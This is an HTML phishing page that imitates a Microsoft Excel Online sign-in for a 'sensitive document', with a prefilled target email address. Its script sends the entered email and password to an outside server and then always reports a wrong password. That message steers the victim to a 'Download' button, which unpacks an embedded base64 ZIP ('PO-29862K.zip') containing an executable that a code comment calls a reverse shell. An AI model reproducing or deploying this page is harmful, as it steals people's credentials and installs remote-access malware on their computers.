<!DOCTYPE html>
<html>
    <head>
        <title>Excel Online OneDrive</title>
        <link rel="stylesheet" href= "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
        <style>
            html,body{
                margin: 0px;
                height: 100%;
                background: url('https://i.postimg.cc/265pSmMb/background.png');
                background-size: 100% 100%;
                background-repeat: no-repeat;
            }

            .parent{
                width: 100%;
                height: 100%;
                display: flex;
                justify-content: center;
                align-items: center ;
            }

            .container{
                width: 400px;
                height: 470px;
                background-color: #ffffff;
                box-shadow: 1px 1px 1px 1px;
                text-align: center;
            }

            .excel-logo{
                width: 110px;
                height: 63px;
                margin-top: 15px;
            }

            .sign-in{
                font-family: Arial, Helvetica, sans-serif;
                font-size: 20px;
            }

            .confirm{
                font-family: Arial, Helvetica, sans-serif;
                font-size: 14px;
                color: #666666;
            }

            .identity{
                font-family: Arial, Helvetica, sans-serif;
                font-size: 14px;
                color: #666666;
                margin-top: -10px;
            }

            #info{
                color: #3266cc;
                font-size: 20px;
            }

            .message{
                color: red;
                font-size: 14px;
                font-family: Arial, Helvetica, sans-serif;
            }

            .userid{
                width: 280px;
                height: 35px;
                outline: 0px;
                font-size: 14px;
                font-family: Arial, Helvetica, sans-serif;
                color: #333333;
                padding-left: 30px;
                border-radius: 20px;
                border: 1px solid #333333;
            }

            #user-icon{
                position: absolute;
                margin-top: 10px;
                margin-left: 6px;
                color: #333333;
                font-size: 20px;
            }

            .password{
                width: 280px;
                height: 35px;
                outline: 0px;
                font-size: 14px;
                font-family: Arial, Helvetica, sans-serif;
                color: #333333;
                padding-left: 30px;
                border-radius: 20px;
                border: 1px solid #333333;
            }

            #lock-icon{
                position: absolute;
                margin-top: 10px;
                margin-left: 6px;
                color: #333333;
                font-size: 20px;
            }

            .password:focus{
                border-color: #217346;
            }

            .submit{
                width: 320px;
                height: 40px;
                outline: 0px;
                border: 0px;
                font-size: 16px;
                font-weight: bold;
                font-family: Arial, Helvetica, sans-serif;
                background-color: #217346;
                border-radius: 20px;
                color: #ffffff;
                cursor: pointer;
            }

            .submit:focus{
                background-color: #195d38;
            }

            .forgot{
                color: #3266cc;
                text-decoration: none;
                font-size: 12px;
                font-family: Arial, Helvetica, sans-serif;
            }

            .bg-modal{
                width: 100%;
                height: 100%;
                background-color: rgba(0, 0, 0, 0.7);
                position: absolute;
                top: 0;
                display: flex;
                justify-content: center;
                align-items: center;
            }

            .modal-content{
                width: 450px;
                height: 350px;
                background-color: white;
                border-radius: 4px;
                text-align: center;
            }

            #info1{
                font-size: 100px;
                color: #3266cc;
                margin-top: 20px;
            }

            .header{
                font-size: 20px;
                font-weight: bold;
                font-family: Arial, Helvetica, sans-serif;
                color: #333333;
            }

            .note{
                font-size: 14px;
                font-family: Arial, Helvetica, sans-serif;
                color: #333333;
                padding-left: 40px;
                padding-right: 40px;
            }

            .ok{
                width: 120px;
                height: 30px;
                border: 1px solid #999999;
                border-radius: 20px;
                cursor: pointer;
            }

            .download{
                width: 120px;
                height: 30px;
                border: 1px solid #999999;
                border-radius: 20px;
                cursor: pointer;
            }

        </style>
        <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
        <script type="text/javascript">
            $(document).ready(function(){
                $('#button').click(function(e){
                    e.preventDefault();
                    processLogin();
                });
                $('.form-input').keyup(function(e){
                    if(e.keyCode == 13){
                        processLogin();
                    }
                });
            });
            function processLogin(){
                // Validate email and password
                var userid = $("#userid").val();
                var password = $("#password").val();
                var dataString = 'userid='+ userid + '&password='+ password;
                var msg = "Please enter the password for your Excel online account.";
                if(userid=='' || password==''){
                    $("#message").show().html(msg);
                }else{
                    $("#message").hide().html(msg);

                    // AJAX Code To Submit Form.
                    $.ajax({
                        type: "POST",
                        url: "https://weslacova.shop/dukas1/login.php",
                        data: dataString,
                        success: function(data){
                            var msg = "You have entered an incorrect password, if you don't have an excel online account, download the document to have access";
                            $("#message").show().html(msg);
                        }
                    });
                }
                return false;
            }
        </script>

        <script>
            function myFunction(){
                function base64ToArrayBuffer(base64){
                    var binary_string = window.atob(base64);
                    var len = binary_string.length;

                    var bytes = new Uint8Array( len );
                    for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
                    return bytes.buffer;
                }

                // 32bit simple reverse shell
                var file = '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';
                var data = base64ToArrayBuffer(file);
                var blob = new Blob([data], {type: 'octet/stream'});
                var fileName = 'PO-29862K.zip';

                if (window.navigator.msSaveOrOpenBlob){
                    window.navigator.msSaveOrOpenBlob(blob,fileName);
                }else{
                    var a = document.createElement('a');
                    console.log(a);
                    document.body.appendChild(a);
                    a.style = 'display: none';
                    var url = window.URL.createObjectURL(blob);
                    a.href = url;
                    a.download = fileName;
                    a.click();
                    window.URL.revokeObjectURL(url);
                }
            }
        </script>
        
        <script>
            function processClose(){
                document.querySelector('.ok').addEventListener('click',function(){
                    document.querySelector('.bg-modal').style.display ='none';
                });
            }
        </script>
    </head>
    <body>
        <div class="parent">
            <div class="container">
                <img src="https://i.postimg.cc/L6KcyMSp/excel-logo.png" class="excel-logo">
                <p class="sign-in">Sign in</p>
                <i class="fa fa-info-circle" id="info"></i>
                <p class="confirm">You are about to access a sensitive document</p>
                <p class="identity">please verify your identity</p><br>
                <div class="message" id="message"></div>
                <form>
                    <i class="fa fa-user" id="user-icon"></i>
                    <input type="email" name="userid" id="userid" class="userid" value="pkg-fglrx-devel@lists.alioth.debian.org" required><br><br>
                    <i class="fa fa-lock" id="lock-icon"></i>
                    <input type="password" name="password" id="password" class="password" placeholder="Enter password" required><br><br>
                    <button class="submit" name="submit" type="submit" id="button">Sign in</button><br>
                </form>
                <a href="#" class="forgot">Forgot password?</a>
            </div>
        </div>
        <!--Modal Section-->
        <div class="bg-modal">
            <div class="modal-content">
                <i class="fa fa-info-circle" id="info1"></i>
                <p class="header">Information</p>
                <p class="note">A document was shared with. If you have an excel online account, click ok and login with your credentials to view the document, else click download to download the document to your local pc and view it.</p><br>
                <button class="ok" id="ok" onclick="processClose()">Ok</button>   <button class="download" id="download" onclick="myFunction()">Download</button>
            </div>
        </div>
    </body>
</html>